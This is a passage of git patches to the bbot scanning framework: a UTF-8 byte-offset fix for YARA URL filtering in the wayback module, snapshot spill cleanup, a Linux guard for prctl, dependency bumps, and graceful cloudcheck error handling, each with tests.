len(target.seeds.event_seeds) > initial_seeds @@ -474,7 +475,8 @@ async def test_asn_targets_edge_cases(bbot_scanner): initial_seeds = len(target.seeds.event_seeds) with patch("asndb.ASNDB", return_value=mock_empty_client): - await target.generate_children() + scan = bbot_scanner("ASN:99999") + await target.generate_children(helpers=scan.helpers) # Should not add any new seeds for empty ASN assert len(target.seeds.event_seeds) == initial_seeds From 4e1e744312b3901eea9f85c0407a72d819ef3548 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 23 Jun 2026 15:44:51 -0400 Subject: [PATCH 889/912] Fix wayback YARA junk-filter byte offsets and wire up baseline snapshot cleanup Build the YARA blob and offset table in UTF-8 bytes so multibyte URLs don't desync match attribution. Reclaim spilled baseline bodies via _BaselineSnapshot.__del__. --- bbot/core/helpers/diff.py | 8 +++ bbot/modules/wayback.py | 22 +++++--- bbot/test/test_step_1/test_body_spill.py | 56 +++++++++++++++++++ .../module_tests/test_module_wayback.py | 37 ++++++++++++ 4 files changed, 114 insertions(+), 9 deletions(-) diff --git a/bbot/core/helpers/diff.py b/bbot/core/helpers/diff.py index 58e283af3b..126f122e68 100644 --- a/bbot/core/helpers/diff.py +++ b/bbot/core/helpers/diff.py @@ -60,6 +60,14 @@ def _cleanup(self): self._spill_store.evict_and_delete(self._spill_key) self._spill_key = None + def __del__(self): + # Reclaim the spilled body when the snapshot is GC'd (HttpCompare + # instances are mostly short-lived locals, so this fires promptly). + try: + self._cleanup() + except Exception: + pass + class HttpCompare: def __init__( diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 184fc5973a..b3ec37635a 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -109,11 +109,11 @@ def _filter_urls_sync(self, urls): """Drop blacklisted, garbage, and YARA-junk URLs in one pass. Returns (kept, junk_dropped). YARA matching is batched: all candidate URLs are concatenated into - a single blob (newline-delimited) and matched once, then string - instance offsets are mapped back to individual URLs and counted - per-URL against ``_junk_url_match_threshold``. This replaces the - previous per-URL ``rules.match()`` call and cuts allocation - pressure from ~22 GB cumulative to a single match invocation. + a single UTF-8 blob (newline-delimited) and matched once, then + string instance offsets are mapped back to individual URLs and + counted per-URL against ``_junk_url_match_threshold``. Batching + replaces a per-URL ``rules.match()`` call and cuts allocation + pressure to a single match invocation. """ # Phase 1: cheap filters (blacklist + garbage) candidates = [] @@ -127,16 +127,20 @@ def _filter_urls_sync(self, urls): if not candidates: return [], 0 - # Phase 2: batch YARA match on concatenated blob + # Phase 2: batch YARA match on concatenated blob. + # YARA reports match offsets in bytes, so the blob and the offset + # table must both be built from the UTF-8 encodings. A char-count + # offset table is misaligned for any URL containing multibyte chars. junk_set = set() - blob = "\n".join(candidates) + encoded = [url.encode("utf-8") for url in candidates] + blob = b"\n".join(encoded) matches = self._junk_url_rules.match(data=blob) if matches: offsets = [] pos = 0 - for url in candidates: + for enc in encoded: offsets.append(pos) - pos += len(url) + 1 + pos += len(enc) + 1 match_counts = [0] * len(candidates) for m in matches: diff --git a/bbot/test/test_step_1/test_body_spill.py b/bbot/test/test_step_1/test_body_spill.py index bf6c49dd66..5484d147c8 100644 --- a/bbot/test/test_step_1/test_body_spill.py +++ b/bbot/test/test_step_1/test_body_spill.py @@ -6,15 +6,30 @@ - ``TestHTTPResponseSpill``: integration tests asserting that HTTP_RESPONSE events route bodies through the spill store when one is attached to the scan, and fall back to in-memory data when not. + - ``TestBaselineSnapshot``: unit tests of the HttpCompare baseline + snapshot that also spills its body through the store. """ +import gc + import pytest from bbot.core.event.spill import BodySpillStore +from bbot.core.helpers.diff import _BaselineSnapshot from ..bbot_fixtures import * # noqa: F401, F403 +class _FakeResponse: + """Minimal stand-in for a blasthttp Response for snapshot tests.""" + + def __init__(self, body_bytes=b"", text="", status_code=200, headers=None): + self.body_bytes = body_bytes + self.text = text + self.status_code = status_code + self.headers = {} if headers is None else headers + + # ── BodySpillStore unit tests ───────────────────────────────────────── @@ -220,3 +235,44 @@ async def test_raw_response_uses_spilled_body(self, bbot_scanner, fake_response_ raw = event.raw_response assert "hi" in raw assert "HTTP/1.1 200 OK" in raw + + +# ── _BaselineSnapshot unit tests ────────────────────────────────────── + + +class TestBaselineSnapshot: + def test_roundtrip_via_spill_store(self, tmp_path): + """text/content are served from the spill store, not pinned on the snapshot.""" + store = BodySpillStore(tmp_path, cache_bytes=4096) + body = "ünïcödé body".encode("utf-8") + snap = _BaselineSnapshot(_FakeResponse(body_bytes=body), spill_store=store) + assert snap.content == body + assert snap.text == body.decode("utf-8") + assert snap._text is None # body is not held on the Python object + + def test_no_spill_store_falls_back_to_memory(self, tmp_path): + """Without a store, text/content come from the in-memory text.""" + snap = _BaselineSnapshot(_FakeResponse(text="hello"), spill_store=None) + assert snap.text == "hello" + assert snap.content == b"hello" + assert not any(tmp_path.iterdir()) + + def test_del_reclaims_spilled_body(self, tmp_path): + """Garbage-collecting the snapshot deletes its spill file and cache entry.""" + store = BodySpillStore(tmp_path, cache_bytes=4096) + snap = _BaselineSnapshot(_FakeResponse(body_bytes=b"X" * 256), spill_store=store) + assert any(tmp_path.iterdir()) + assert store.stats()["cache_entries"] == 1 + + del snap + gc.collect() + assert not list(tmp_path.iterdir()) + assert store.stats()["cache_entries"] == 0 + + def test_cleanup_is_idempotent(self, tmp_path): + """Calling _cleanup twice (e.g. explicit + __del__) is safe.""" + store = BodySpillStore(tmp_path, cache_bytes=4096) + snap = _BaselineSnapshot(_FakeResponse(body_bytes=b"data"), spill_store=store) + snap._cleanup() + snap._cleanup() + assert not list(tmp_path.iterdir()) diff --git a/bbot/test/test_step_2/module_tests/test_module_wayback.py b/bbot/test/test_step_2/module_tests/test_module_wayback.py index a965cc1729..b37d0d4d57 100644 --- a/bbot/test/test_step_2/module_tests/test_module_wayback.py +++ b/bbot/test/test_step_2/module_tests/test_module_wayback.py @@ -631,6 +631,43 @@ def check(self, module_test, events): assert any(path in u for u in emitted), f"Legit URL was filtered: {legit}" +class TestWaybackJunkUrlFilterUnicode(ModuleTestBase): + """A multibyte URL preceding junk URLs must not desync the byte-offset + mapping used to attribute YARA matches back to individual URLs.""" + + module_name = "wayback" + modules_overrides = ["wayback"] + targets = ["blacklanternsecurity.com"] + config_overrides = {"modules": {"wayback": {"urls": True}}} + + # leading URL with multibyte characters: each 'ü' is 2 UTF-8 bytes, so a + # char-count offset table would be misaligned for every URL after it, + # causing junk matches to be attributed to the wrong URL. + unicode_url = "https://blacklanternsecurity.com/" + ("ü" * 50) + junk_urls = [ + "https://blacklanternsecurity.com/Aa1/Bb2/Cc3", + "https://blacklanternsecurity.com/Dd4/Ee5/Ff6", + "https://blacklanternsecurity.com/Gg7/Hh8/Ii9", + ] + # plain ASCII URL after the junk; must survive (proves good URLs aren't + # dropped by a misattributed match, and that the pipeline emitted at all) + legit_url = "https://blacklanternsecurity.com/about/contact" + + async def setup_after_prep(self, module_test): + all_urls = [self.unicode_url, *self.junk_urls, self.legit_url] + module_test.blasthttp_mock.add_response( + url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit", + json=[["original"], *([u] for u in all_urls)], + ) + + def check(self, module_test, events): + emitted = [e.url for e in events if e.type == "URL_UNVERIFIED"] + assert any("/about/contact" in u for u in emitted), "Legit URL was filtered or pipeline emitted nothing" + for junk in self.junk_urls: + path = junk.split("blacklanternsecurity.com", 1)[1] + assert not any(path in u for u in emitted), f"Junk URL leaked past filter: {junk}" + + class TestWaybackArchive429Retry(ModuleTestBase): """Archive fetches that get 429 rate-limited should back off and retry successfully.""" From 8e0431afaa86158fe10fd6a70b55f17091d29921 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 23 Jun 2026 16:02:07 -0400 Subject: [PATCH 890/912] Guard prctl behind Linux check, skip pool death test elsewhere --- bbot/core/helpers/helper.py | 5 +++++ bbot/test/test_step_1/test_helpers.py | 1 + 2 files changed, 6 insertions(+) diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py index 2cc85dd709..02c4570aee 100644 --- a/bbot/core/helpers/helper.py +++ b/bbot/core/helpers/helper.py @@ -36,7 +36,12 @@ def _pool_worker_init(): Prevents zombie worker accumulation after OOM kills, SIGKILL, etc. Uses SIGKILL because ProcessPoolExecutor's `except BaseException` catches SIGTERM's SystemExit, keeping workers alive until the broken pipe surfaces. + + prctl is Linux-specific, so this is a no-op elsewhere (the symbol is absent + on other platforms and would otherwise raise, breaking the whole pool). """ + if not sys.platform.startswith("linux"): + return libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True) libc.prctl(_PR_SET_PDEATHSIG, signal.SIGKILL, 0, 0, 0) diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index d012f1f881..1691432333 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -1007,6 +1007,7 @@ async def test_run_in_executor_mp(helpers): assert result == sum(range(50_000)) +@pytest.mark.skipif(not sys.platform.startswith("linux"), reason="PR_SET_PDEATHSIG is Linux-only") def test_pool_workers_die_with_parent(): """Pool workers must not survive when the parent is SIGKILL'd (OOM, crash, etc.).""" import json From 5224d45403bb02689d8378d2f0beb4790aac5fa8 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 23 Jun 2026 21:37:07 -0400 Subject: [PATCH 891/912] Bump badsecrets to 1.2.1 --- bbot/modules/badsecrets.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/badsecrets.py b/bbot/modules/badsecrets.py index b4aef40c9a..4010573f83 100644 --- a/bbot/modules/badsecrets.py +++ b/bbot/modules/badsecrets.py @@ -19,7 +19,7 @@ class badsecrets(BaseModule): class Config(BaseModuleConfig): custom_secrets: Optional[str] = Field(None, description="Include custom secrets loaded from a local file") - deps_pip = ["badsecrets~=1.1.0"] + deps_pip = ["badsecrets~=1.2.1"] async def setup(self): self.custom_secrets = None From 5727446276d042dd320c04d5cb5250c9ef37f6ea Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 24 Jun 2026 00:49:34 -0400 Subject: [PATCH 892/912] graceful cloudcheck error handling + SSL verify passthrough Forward bbot's ssl_verify_infrastructure setting to cloudcheck's new verify_ssl constructor param, and stop cloudcheck signature-fetch failures from crashing scans. - helper.py: CloudCheck(verify_ssl=ssl_verify_infrastructure) - cloudcheck module setup(): catch CloudCheckError on the warm-up lookup; warn and continue with cloud detection degraded instead of aborting the scan - cli.py: catch CloudCheckError on the pre-scan cloud-domain check - bump cloudcheck 10.0.0 -> 11.1.0 (verify_ssl support) and baddns to 2.4.1; lock reconciled to pyproject pins (also moves ruff to the already-pinned 0.15.18) Closes #3226 --- bbot/cli.py | 11 +- bbot/core/helpers/helper.py | 3 +- bbot/modules/internal/cloudcheck.py | 19 ++- pyproject.toml | 4 +- uv.lock | 223 ++++++++++++++-------------- 5 files changed, 140 insertions(+), 120 deletions(-) diff --git a/bbot/cli.py b/bbot/cli.py index 2ebe9046e3..e10b685cac 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -232,9 +232,18 @@ async def _main(): if stdin_is_tty: # warn if any targets belong directly to a cloud provider if not scan.preset.strict_scope: + from cloudcheck import CloudCheckError + for event in scan.target.seeds.event_seeds: if event.type == "DNS_NAME": - cloudcheck_result = await scan.helpers.cloudcheck.lookup(event.host) + # a cloudcheck failure here (e.g. signatures couldn't be + # fetched) shouldn't abort the scan — this is only a + # pre-scan heads-up, so warn and move on + try: + cloudcheck_result = await scan.helpers.cloudcheck.lookup(event.host) + except CloudCheckError as e: + scan.warning(f"Unable to check whether {event.host} is a cloud domain: {e}") + cloudcheck_result = None if cloudcheck_result: scan.hugewarning( f'YOUR TARGET CONTAINS A CLOUD DOMAIN: "{event.host}". You\'re in for a wild ride!' diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py index 02c4570aee..f3d8e8064f 100644 --- a/bbot/core/helpers/helper.py +++ b/bbot/core/helpers/helper.py @@ -155,7 +155,8 @@ def cloudcheck(self): if self._cloudcheck is None: from cloudcheck import CloudCheck - self._cloudcheck = CloudCheck() + ssl_verify = self.web_config.get("ssl_verify_infrastructure", True) + self._cloudcheck = CloudCheck(verify_ssl=ssl_verify) return self._cloudcheck def bloom_filter(self, size): diff --git a/bbot/modules/internal/cloudcheck.py b/bbot/modules/internal/cloudcheck.py index 21a3d0881c..87886a3044 100644 --- a/bbot/modules/internal/cloudcheck.py +++ b/bbot/modules/internal/cloudcheck.py @@ -27,8 +27,23 @@ class CloudCheck(BaseInterceptModule): _lookup_cache_size = 100_000 async def setup(self): - # perform a test lookup during setup to force signature update - await self.helpers.cloudcheck.lookup("8.8.8.8") + # perform a test lookup during setup to force signature update. + # if cloudcheck can't fetch its signatures (e.g. network/TLS problem, + # offline), don't crash the scan — degrade gracefully. cloud tagging + # by IP/domain will be unavailable, but static storage-bucket regexes + # (loaded from the cloudcheck package below) and per-event lookups + # (already wrapped in try/except) keep working. + from cloudcheck import CloudCheckError + + try: + await self.helpers.cloudcheck.lookup("8.8.8.8") + except CloudCheckError as e: + self.warning( + f"Failed to load cloud provider signatures ({e}); continuing with cloud detection degraded. " + f"If this is caused by a TLS-intercepting proxy on a network you trust, you can set " + f"ssl_verify_infrastructure: false to allow the fetch — note this turns off certificate " + f"verification for non-target traffic, so only do so if you understand the risk." + ) # build the storage-bucket regexes + the YARA prefilter eagerly so we # don't pay an asyncio.Lock acquire on every handle_event self._storage_bucket_regexes, self._bucket_yara = self._build_bucket_matchers() diff --git a/pyproject.toml b/pyproject.toml index dab0a985b5..7eabcaf2c4 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -47,7 +47,7 @@ dependencies = [ "orjson>=3.10.12,<4", "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", - "cloudcheck>=10.0.0,<11", + "cloudcheck>=11.1.0,<12", "blasthttp>=0.9.0", "blastdns>=1.9.0,<2", "zstandard>=0.22,<1", @@ -79,7 +79,7 @@ dev = [ "fastapi>=0.115.5,<0.137.0", "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", - "baddns~=2.4.0", + "baddns~=2.4.1", "ruff==0.15.18", "maturin>=1.4,<2", ] diff --git a/uv.lock b/uv.lock index 67365b4dbe..a12566d96f 100644 --- a/uv.lock +++ b/uv.lock @@ -160,7 +160,7 @@ wheels = [ [[package]] name = "baddns" -version = "2.4.0" +version = "2.4.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "blastdns" }, @@ -173,9 +173,9 @@ dependencies = [ { name = "pyyaml" }, { name = "tldextract" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/98/2d/72f9da1236b85451821dfad9c5eba242af8e8b23e66f15ee8a83d3ae4472/baddns-2.4.0.tar.gz", hash = "sha256:5ee98f0ccc250057d73c85055b32f2c2878a9577e9ce44cf46ebe03773954c7a", size = 62731, upload-time = "2026-06-09T17:06:53.879Z" } +sdist = { url = "https://files.pythonhosted.org/packages/1d/91/62cef471fba0201e38d1d3cca0170ca0dd25c5417c7f2f2b495dc3903b3e/baddns-2.4.1.tar.gz", hash = "sha256:022e66a7d04ccbf239ba0a012c505dcc8d4246d240817c16802d1c833f1765fa", size = 62730, upload-time = "2026-06-17T23:12:10.841Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/ea/b3/bb4e9dc73b87acba15804de8609b74b6b52f75e4282236e84c048bd1cb81/baddns-2.4.0-py3-none-any.whl", hash = "sha256:ad721dcc49fff9804b793cdfc743d9f4a5bd29ccb31843e1dc24a1bbf7854024", size = 121106, upload-time = "2026-06-09T17:06:52.717Z" }, + { url = "https://files.pythonhosted.org/packages/8c/d1/f7cc99fbf5146becdefc01b68917f4de8b5d32b355fe8be42e4ae12e5538/baddns-2.4.1-py3-none-any.whl", hash = "sha256:bda752ecdb31fe27c753516ab476f0371d128fe5c7f1c8a677ba49ad9348d8e3", size = 121104, upload-time = "2026-06-17T23:12:09.661Z" }, ] [[package]] @@ -265,7 +265,7 @@ requires-dist = [ { name = "blastdns", specifier = ">=1.9.0,<2" }, { name = "blasthttp", specifier = ">=0.9.0" }, { name = "cachetools", specifier = ">=5.3.2,<8.0.0" }, - { name = "cloudcheck", specifier = ">=10.0.0,<11" }, + { name = "cloudcheck", specifier = ">=11.1.0,<12" }, { name = "deepdiff", specifier = ">=8.0.0,<10" }, { name = "dnspython", specifier = ">=2.7.0,<2.9.0" }, { name = "idna", specifier = ">=3.4,<4" }, @@ -298,7 +298,7 @@ requires-dist = [ [package.metadata.requires-dev] dev = [ - { name = "baddns", specifier = "~=2.4.0" }, + { name = "baddns", specifier = "~=2.4.1" }, { name = "fastapi", specifier = ">=0.115.5,<0.137.0" }, { name = "maturin", specifier = ">=1.4,<2" }, { name = "pre-commit", specifier = ">=3.4,<5.0" }, @@ -311,7 +311,7 @@ dev = [ { name = "pytest-httpx", specifier = ">=0.35" }, { name = "pytest-rerunfailures", specifier = ">=14,<17" }, { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, - { name = "ruff", specifier = "==0.15.17" }, + { name = "ruff", specifier = "==0.15.18" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, { name = "uvicorn", specifier = ">=0.32,<0.50" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, @@ -714,93 +714,88 @@ wheels = [ [[package]] name = "cloudcheck" -version = "10.0.1" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/b3/86/acb3aa69dc96c4a26fe92824430a2eef059ff52157c673094bdbf722c1c6/cloudcheck-10.0.1.tar.gz", hash = "sha256:bb630bc310b5618593e337d33f3ce92e8529e9611dd59fac2644ae7974672a14", size = 4708651, upload-time = "2026-05-05T15:56:44.525Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/e3/43/0052b557bdcf402834e3bb390faf056c3c2b9670d7cc93e4e92bc981801d/cloudcheck-10.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3750d560a02a50530259c9ef8fc4ad71091e3caaa305c0227d3638d8ef8ed850", size = 4229961, upload-time = "2026-05-05T16:11:15.055Z" }, - { url = "https://files.pythonhosted.org/packages/8e/61/0093a02721cc648b7aa3ec05b6679a8269e33bd65ac5b5fa254df4bbcb44/cloudcheck-10.0.1-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:646b62988f6b9228a7f6c2d5c3099b5f8eb6e94d22a73a5dbe4f58a9ad556acb", size = 3584317, upload-time = "2026-05-05T16:11:32.822Z" }, - { url = "https://files.pythonhosted.org/packages/7d/cd/92712b5f201a597bfdc58c06bd6dbdc966314c365032d24f1bdcbe2fe95a/cloudcheck-10.0.1-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e987ca69c32e0135f59c63279c6e0b04292ac2cf36590401c42af1e05a498505", size = 4166960, upload-time = "2026-05-05T16:12:07.697Z" }, - { url = "https://files.pythonhosted.org/packages/c9/df/dd0ae06aff9d85f285276c226b214395863e9188467f3ab4682c220a124a/cloudcheck-10.0.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5814c31e0bc92e80d37aa521a5617f01781e49beac71e4a3bed4029fe8c12979", size = 4078007, upload-time = "2026-05-05T16:11:50.516Z" }, - { url = "https://files.pythonhosted.org/packages/66/74/ec90e6665986d0c8460f7c4b3f3075bf81539af5576bb863e967e7b54c88/cloudcheck-10.0.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1bacb2b87aa9031669685bbad9630cce9c1ebf3f2fc542118375df3878eab767", size = 4028477, upload-time = "2026-05-05T16:12:22.092Z" }, - { url = "https://files.pythonhosted.org/packages/31/5a/101f75f99ff2eddd455994eef714e9cb641708bd2e683ecd7ef2d1f194ad/cloudcheck-10.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ee46efc0da43ea166c91b7c62dc66831a0a11e3ca1c8ac46847de0f14b24a6c4", size = 4633924, upload-time = "2026-05-05T16:12:51.278Z" }, - { url = "https://files.pythonhosted.org/packages/0e/28/6ba7e12866a60cafd5a621ece47981b31c8a96a5a5e5459bfd9168127f45/cloudcheck-10.0.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:26e9ac4db1a0fd2f4dfcdac1311a1d8b54df0002b6ba7547b848e259fcffdb33", size = 3916600, upload-time = "2026-05-05T16:13:09.367Z" }, - { url = "https://files.pythonhosted.org/packages/9c/fd/82fb734ccb9ceb4b948bc5aa42cff41b99f2b17e107f89704b6b41c89878/cloudcheck-10.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3a9b0fabfb7508fc4b045b23554f7d7758a66a792d5f758c10cd7ad76199ac39", size = 4261335, upload-time = "2026-05-05T16:13:27.853Z" }, - { url = "https://files.pythonhosted.org/packages/98/f8/4469e6129be3cb4cef2a380090d119e4c346ccbb7524d3678d0376509f3d/cloudcheck-10.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:c28d93b294c23f05dcec14e9ef870af9ea07c2682461a77411fb0e71a9fbc8a3", size = 4288972, upload-time = "2026-05-05T16:13:48.456Z" }, - { url = "https://files.pythonhosted.org/packages/81/89/b243156f5b99f0e928172ee0b08e5d70dc29333767c7c107e5e2a4acacc6/cloudcheck-10.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:c6ccb20f3cae5296f0f00b6b41735d0d24ea3ec419e712b0ee2812f799d5a4ec", size = 1415308, upload-time = "2026-05-05T16:14:06.972Z" }, - { url = "https://files.pythonhosted.org/packages/48/c5/8fdd3650fd77d1f4ddcb528a8241445327de9e1d74272864a8c9fec80078/cloudcheck-10.0.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:9e05be3c6169caa420187fb5c4bd8b50bea9f31f99ffc68ab983e73892b1b7c0", size = 1631844, upload-time = "2026-05-05T16:12:43.322Z" }, - { url = "https://files.pythonhosted.org/packages/18/53/fa09682bff4708f585a1c62d1335cf52298f7ce455776c7a350fbb5141c4/cloudcheck-10.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3e4a2c1c4593b40b8b4f0338ea11ef7318a3e0ee7158ab28bb8785e38f60bbf4", size = 1604122, upload-time = "2026-05-05T16:12:36.077Z" }, - { url = "https://files.pythonhosted.org/packages/72/2e/bb6bcae6e4d4ea51a9b4f28fda382df0e0be60292555ab5d27566ccce531/cloudcheck-10.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ec0b0e67ff3de1bcb0288a77e99fc305230fb1b594304acd10563a7d3260d6b3", size = 4230280, upload-time = "2026-05-05T16:11:17.141Z" }, - { url = "https://files.pythonhosted.org/packages/68/f6/b2300cc1ad074d54a4839ae8d2607453df998a95aa290c8dd2d3c29f637d/cloudcheck-10.0.1-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4ce38c11bcc5ce0074e3cc68a3597af8a9e0e939bd482a7bea90366efa56052c", size = 3585444, upload-time = "2026-05-05T16:11:34.911Z" }, - { url = "https://files.pythonhosted.org/packages/95/5a/5e0b877cb55e2638a44a709e147911e5550f1ca3738e5d30ba71de01d734/cloudcheck-10.0.1-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:324ffcc84e59a7dd3641f27d713c26c81283c294fb38d3339a294b9469d631d8", size = 4167347, upload-time = "2026-05-05T16:12:10.016Z" }, - { url = "https://files.pythonhosted.org/packages/9e/b5/8238ccf4e193b565d7081548aed1b96ba52c4af873801c8967d0904d9139/cloudcheck-10.0.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:822f49cd91a4edf95f1ada43089a5735a0fb48957f1c531ef730c191e253e38f", size = 4077325, upload-time = "2026-05-05T16:11:52.424Z" }, - { url = "https://files.pythonhosted.org/packages/50/57/c04b9cff1bf182d650e989cb1e3865f13be5181a6e0a21887ce6caa34a12/cloudcheck-10.0.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc7ed67e180a415899b91c14c2fbd78c692d4a68982cf82288c57ce6ab061670", size = 4024951, upload-time = "2026-05-05T16:12:24.362Z" }, - { url = "https://files.pythonhosted.org/packages/e1/e8/08de4221ffe5b45175529c9c5035efc78217ece1d0aeed5150335c06916d/cloudcheck-10.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:ca17859d6bd548b86fed6686a7f3410be56e614ee7e80b80430f375c2a3b667a", size = 4635178, upload-time = "2026-05-05T16:12:53.215Z" }, - { url = "https://files.pythonhosted.org/packages/a5/ee/be50dcc07bccb7e09a9320786b4cda4ab2ea3f289c3c26a10ddb51108d75/cloudcheck-10.0.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:d5645268fd3bc8ac33cc0722f7523040fab55dcf362ec849034e78e157de7d4b", size = 3919843, upload-time = "2026-05-05T16:13:11.262Z" }, - { url = "https://files.pythonhosted.org/packages/3e/8b/08093e4733e8d0fa53802ccfdb6a079a2b90a8d352ee7cf30f7920c8eb53/cloudcheck-10.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:643d8049165859ec4d16f43808870d661f84809bbb02fd7af014a02b6330b2a9", size = 4261624, upload-time = "2026-05-05T16:13:29.924Z" }, - { url = "https://files.pythonhosted.org/packages/b2/bb/11e43326cccabad8e8572c8f997a8b8f6f8e59e3f809e7bb24e45641b0e7/cloudcheck-10.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e0351af3cefa63df82d8847bd692f50a0bfe97b6700cfda62dc6e1e80fc683a3", size = 4288154, upload-time = "2026-05-05T16:13:50.496Z" }, - { url = "https://files.pythonhosted.org/packages/15/93/b714fe38d7e6f9fc3c7b70d67bf25a1efa29a935f8602a0d537125f095a4/cloudcheck-10.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:d5a66b7a30df5e14d4960cf4c13e6bdde93079856fafb2070258c63abc283919", size = 1416219, upload-time = "2026-05-05T16:14:08.611Z" }, - { url = "https://files.pythonhosted.org/packages/f1/c4/676a14527eb3ca09fc3bd1ff69b978177aec834ceee46e793a0ba9894626/cloudcheck-10.0.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:4ab849688f17ce29f5d9317c1ef7a3972db50d47dfe2376b2fd03014053ddfd2", size = 1628061, upload-time = "2026-05-05T16:12:45.185Z" }, - { url = "https://files.pythonhosted.org/packages/9a/f7/bc56086f77f2600b87e5ee50dca8983e85927c145b030e3833709d51efee/cloudcheck-10.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b7d564d8807f1027a227eb4ed6f61ef404fe171fb43dc259c8163a3b35c39a7b", size = 1600351, upload-time = "2026-05-05T16:12:38.162Z" }, - { url = "https://files.pythonhosted.org/packages/c6/01/808261f319e11c68b7ae41b463524a4cb2f549e152a21e3941bf390704f7/cloudcheck-10.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7ee26f9cd4c954a5cf536aaff7022176cc2febddee6c8df72497f2ac46cec594", size = 4225499, upload-time = "2026-05-05T16:11:19.042Z" }, - { url = "https://files.pythonhosted.org/packages/c6/47/4eee91931a3caeb8556d01efae3f3707614c56ee7d35eca57b03b3f8097b/cloudcheck-10.0.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d9513f095fc1d6ccf32ae3f7228e958a05fdb98c7d462eb361b064c39ee196d1", size = 3582182, upload-time = "2026-05-05T16:11:37.054Z" }, - { url = "https://files.pythonhosted.org/packages/1e/f1/6cdf47b9604edf43712db16fa3576150f883710de8faed4a751846e23ae1/cloudcheck-10.0.1-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9d7e2cdf8c98c9e5df614b7ba3c8d9b7846e3b26486550241fd652cded573a71", size = 4166074, upload-time = "2026-05-05T16:12:12.09Z" }, - { url = "https://files.pythonhosted.org/packages/1e/52/b108a69ecb62ea16f26364a0cfee14b5f29775cdda59b81677db32a14cc2/cloudcheck-10.0.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c9764d638b15e8c36a7f8dc312aeae8262585747f74d10148e1bc74969efcbb4", size = 4073854, upload-time = "2026-05-05T16:11:54.296Z" }, - { url = "https://files.pythonhosted.org/packages/14/08/0ae2a7685c516d93e3668762f203bdd2efa99f3c7e8832e8da5aa6c124e9/cloudcheck-10.0.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9b3c92fdbcc9472c3f7cb3187e8a4409ee0193835812dd2c6f11db91b8d93d3f", size = 4023727, upload-time = "2026-05-05T16:12:26.198Z" }, - { url = "https://files.pythonhosted.org/packages/a9/75/6067574bae08775e17d53515a0a1a67a51874178dd7beede757b23d10ea5/cloudcheck-10.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:0a79ade178c695f04e2f3e5f0183a623480858814bf83e29e8115047e2c57fd3", size = 4626503, upload-time = "2026-05-05T16:12:55.224Z" }, - { url = "https://files.pythonhosted.org/packages/af/1f/d973a9e08cc6ce3b8aa16a5789914c9c3efabe15f46df91fb66e6336f1cb/cloudcheck-10.0.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = 